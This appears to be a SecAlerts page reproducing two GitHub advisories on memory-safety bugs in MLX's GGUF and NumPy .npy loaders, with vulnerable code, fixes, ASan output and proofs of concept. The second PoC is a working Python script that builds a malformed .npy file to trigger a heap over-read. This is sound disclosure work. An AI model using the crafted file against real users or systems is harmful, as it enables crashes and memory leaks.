Where
-Infinity
0

Vendor Risk Score

See how ml-explore compares to other vendors in security performance

View Risk Score →
Severity
7.5
Null Pointer Dereference
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Segmentation fault in mlx::core::loadgguf() when loading malicious GGUF files. Untrusted pointer from external gguflib library is dereferenced without validation, causing application crash.

Environment: - OS: Ubuntu 20.04.6 LTS - Compiler: Clang 19.1.7

Vulnerability

Location: mlx/io/gguf.cpp - Function extracttensordata() at lines 59-79 - Vulnerable memcpy at lines 64-67 - Called from loadarrays() at line 177

The Bug: cpp std::tuple<allocator::Buffer, Dtype> extracttensordata(gguftensor tensor) { std::optional<Dtype> equivalentdtype = gguftypetodtype(tensor->type); if (equivalentdtype.hasvalue()) { allocator::Buffer buffer = allocator::malloc(tensor->bsize); memcpy( buffer.rawptr(), tensor->weightsdata, // untrusted pointer from gguflib tensor->numweights equivalentdtype.value().size()); return {buffer, equivalentdtype.value()}; } // ... }

Possible Fix

cpp std::tuple<allocator::Buffer, Dtype> extracttensordata(gguftensor tensor) { std::optional<Dtype> equivalentdtype = gguftypetodtype(tensor->type); if (equivalentdtype.hasvalue()) { // FIX: Validate pointer if (!tensor->weightsdata) { throw std::runtimeerror("[loadgguf] NULL tensor data pointer"); }

allocator::Buffer buffer = allocator::malloc(tensor->bsize); memcpy( buffer.rawptr(), tensor->weightsdata, tensor->numweights equivalentdtype.value().size()); return {buffer, equivalentdtype.value()}; } // ... }

PoC

bash Install MLX pip install mlx

python3 -c "import mlx.core as mx; mx.load('exploit.gguf', format='gguf')"

Download the poc file there, or let me know how I can send it to you.

AddressSanitizer Output (with instrumented build): AddressSanitizer:DEADLYSIGNAL ================================================================= ==5855==ERROR: AddressSanitizer: SEGV on unknown address 0x7fc432f64bc0 (pc 0x7fc430841c12 bp 0x7ffc04847ab0 sp 0x7ffc04847268 T0) ==5855==The signal is caused by a READ memory access. #0 0x7fc430841c12 /build/glibc-B3wQXB/glibc-2.31/string/../sysdeps/x8664/multiarch/memmove-vec-unaligned-erms.S:312 #1 0x55aac829756b in asanmemcpy (/home/user1/mlx/fuzz/loadgguf/fuzzloadgguf+0x9ef56b) (BuildId: 57467f1ce96052757daeef4b04739be7f23c5f1f) #2 0x55aacaa6e8dc in mlx::core::extracttensordata(gguftensor) /home/user1/mlx/mlx/io/gguf.cpp:64:5 #3 0x55aacaa773fc in mlx::core::loadarraysabi:cxx11 /home/user1/mlx/mlx/io/gguf.cpp:226:35 #4 0x55aacaa782a9 in mlx::core::loadgguf(std::cxx11::basicstring<char, std::chartraits<char>, std::allocator<char>> const&, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/gguf.cpp:250:17 #5 0x55aac82dc696 in LLVMFuzzerTestOneInput /home/user1/mlx/fuzz/loadgguf/fuzzloadgguf.cpp:49:19 #6 0x55aac81e25c6 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const, unsigned long) (/home/user1/mlx/fuzz/loadgguf/fuzzloadgguf+0x93a5c6) (BuildId: 57467f1ce96052757daeef4b04739be7f23c5f1f) #7 0x55aac81cc738 in fuzzer::RunOneTest(fuzzer::Fuzzer, char const, unsigned long) (/home/user1/mlx/fuzz/loadgguf/fuzzloadgguf+0x924738) (BuildId: 57467f1ce96052757daeef4b04739be7f23c5f1f) #8 0x55aac81d220a in fuzzer::FuzzerDriver(int, char, int ()(unsigned char const, unsigned long)) (/home/user1/mlx/fuzz/loadgguf/fuzzloadgguf+0x92a20a) (BuildId: 57467f1ce96052757daeef4b04739be7f23c5f1f) #9 0x55aac81fbb82 in main (/home/user1/mlx/fuzz/loadgguf/fuzzloadgguf+0x953b82) (BuildId: 57467f1ce96052757daeef4b04739be7f23c5f1f) #10 0x7fc4307aa082 in libcstartmain /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16 #11 0x55aac81c73ed in start (/home/user1/mlx/fuzz/loadgguf/fuzzloadgguf+0x91f3ed) (BuildId: 57467f1ce96052757daeef4b04739be7f23c5f1f)

==5855==Register values: rax = 0x0000502000000098 rbx = 0xfafafafa0000fa00 rcx = 0x00000a047fff8013 rdx = 0x0000000000000008 rdi = 0x0000502000000098 rsi = 0x00007fc432f64bc0 rbp = 0x00007ffc04847ab0 rsp = 0x00007ffc04847268 r8 = 0x00000a0400000013 r9 = 0x0000000000000000 r10 = 0x00000a0400000013 r11 = 0x0000000000000000 r12 = 0x00000a047fff8010 r13 = 0xffffffffffffffc7 r14 = 0x00007fc42dd00280 r15 = 0x00000ff885ba0050 AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /build/glibc-B3wQXB/glibc-2.31/string/../sysdeps/x8664/multiarch/memmove-vec-unaligned-erms.S:312 ==5855==ABORTING

Impact

- Attack vector: Malicious GGUF file (model weights, typically from untrusted sources) - Affects: MLX users on all platforms who call the vulnerable method with unsanitized input. - Result: Segmentation fault (uncatchable by exception handlers)

--- Credits:

- Markiyan Melnyk (ARIMLABS) - Mykyta Mudryi (ARIMLABS) - Markiyan Chaklosh (ARIMLABS)

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
Buffer Overflow
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Heap buffer overflow in mlx::core::load() when parsing malicious NumPy .npy files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure.

Environment: - OS: Ubuntu 20.04.6 LTS - Compiler: Clang 19.1.7

Vulnerability

The parser reads a 118-byte header from the file, but line 268 uses std::string(&buffer[0]) which stops at the first null byte, creating a 20-byte string instead. Then line 276 tries to read header[34] without checking the length first, reading 13 bytes past the allocation.

Location: mlx/io/load.cpp:268,276

Bug #1 (line 268): cpp std::string header(&buffer[0]); // stops at first null byte

Bug #2 (line 276): cpp bool colcontiguous = header[34] == 'T'; // No bounds check

Possible Fix

cpp // Line 268 std::string header(&buffer[0], headerlen);

// Line 276 if (header.length() < 35) throw std::runtimeerror("Malformed header");

PoC

bash pip install mlx

generate exploit cat > exploit.py << 'EOF' import struct magic = b'\x93NUMPY' version = b'\x01\x00' header = b"{'descr': '<u2', 'fo\x00\x00\x00\x00norder': False, 'shape': (3,), }" header += b' ' (118 - len(header) - 1) + b'\n' with open('exploit.npy', 'wb') as f: f.write(magic + version + struct.pack('<H', 118) + header + b'\x00\x00\x00\x80\xff\xff') EOF python3 exploit.py

python3 -c "import mlx.core as mx; mx.load('exploit.npy')"

AddressSanitizer Output (with instrumented build): ================================================================= ==3179==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000000152 at pc 0x563345697c29 bp 0x7ffeb8ad0a50 sp 0x7ffeb8ad0a48 READ of size 1 at 0x503000000152 thread T0 #0 0x563345697c28 in mlx::core::load(std::sharedptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:276:25 #1 0x563345698da1 in mlx::core::load(std::cxx11::basicstring<char, std::chartraits<char>, std::allocator<char>>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:328:10 #2 0x563342f001bf in main /home/user1/mlx/fuzz/load/poccrash.cpp:69:20 #3 0x7fbd4692c082 in libcstartmain /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16 #4 0x563342e1f1cd in start (/home/user1/mlx/fuzz/load/poccrash+0x9181cd) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099)

0x503000000152 is located 13 bytes after 21-byte region [0x503000000130,0x503000000145) allocated by thread T0 here: #0 0x563342efd66d in operator new(unsigned long) (/home/user1/mlx/fuzz/load/poccrash+0x9f666d) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099) #1 0x5633456956fe in void std::cxx11::basicstring<char, std::chartraits<char>, std::allocator<char>>::Mconstruct<char const>(char const, char const, std::forwarditeratortag) /usr/lib/gcc/x8664-linux-gnu/9/../../../../include/c++/9/bits/basicstring.tcc:219:14 #2 0x5633456956fe in void std::cxx11::basicstring<char, std::chartraits<char>, std::allocator<char>>::Mconstructaux<char const>(char const, char const, std::falsetype) /usr/lib/gcc/x8664-linux-gnu/9/../../../../include/c++/9/bits/basicstring.h:251:11 #3 0x5633456956fe in void std::cxx11::basicstring<char, std::chartraits<char>, std::allocator<char>>::Mconstruct<char const>(char const, char const) /usr/lib/gcc/x8664-linux-gnu/9/../../../../include/c++/9/bits/basicstring.h:270:4 #4 0x5633456956fe in std::cxx11::basicstring<char, std::chartraits<char>, std::allocator<char>>::basicstring<std::allocator<char>>(char const, std::allocator<char> const&) /usr/lib/gcc/x8664-linux-gnu/9/../../../../include/c++/9/bits/basicstring.h:531:9 #5 0x5633456956fe in mlx::core::load(std::sharedptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:268:15 #6 0x563345698da1 in mlx::core::load(std::cxx11::basicstring<char, std::chartraits<char>, std::allocator<char>>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:328:10 #7 0x563342f001bf in main /home/user1/mlx/fuzz/load/poccrash.cpp:69:20 #8 0x7fbd4692c082 in libcstartmain /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/user1/mlx/mlx/io/load.cpp:276:25 in mlx::core::load(std::sharedptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) Shadow bytes around the buggy address: 0x502ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x502fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x502fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x503000000000: fa fa 00 00 04 fa fa fa 00 00 00 00 fa fa 00 00 0x503000000080: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa =>0x503000000100: 00 00 00 fa fa fa 00 00 05 fa[fa]fa fa fa fa fa 0x503000000180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x503000000200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x503000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x503000000300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x503000000380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==3179==ABORTING

Impact

- Attack vector: Malicious .npy file (model weights, datasets, checkpoints) - Affects: MLX users on all platforms who call the vulnerable methods with unsanitized input. - Result: Application crash + potential 13-byte heap leak

---

Credits: - Markiyan Melnyk (ARIMLABS) - Mykyta Mudryi (ARIMLABS) - Markiyan Chaklosh (ARIMLABS)

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203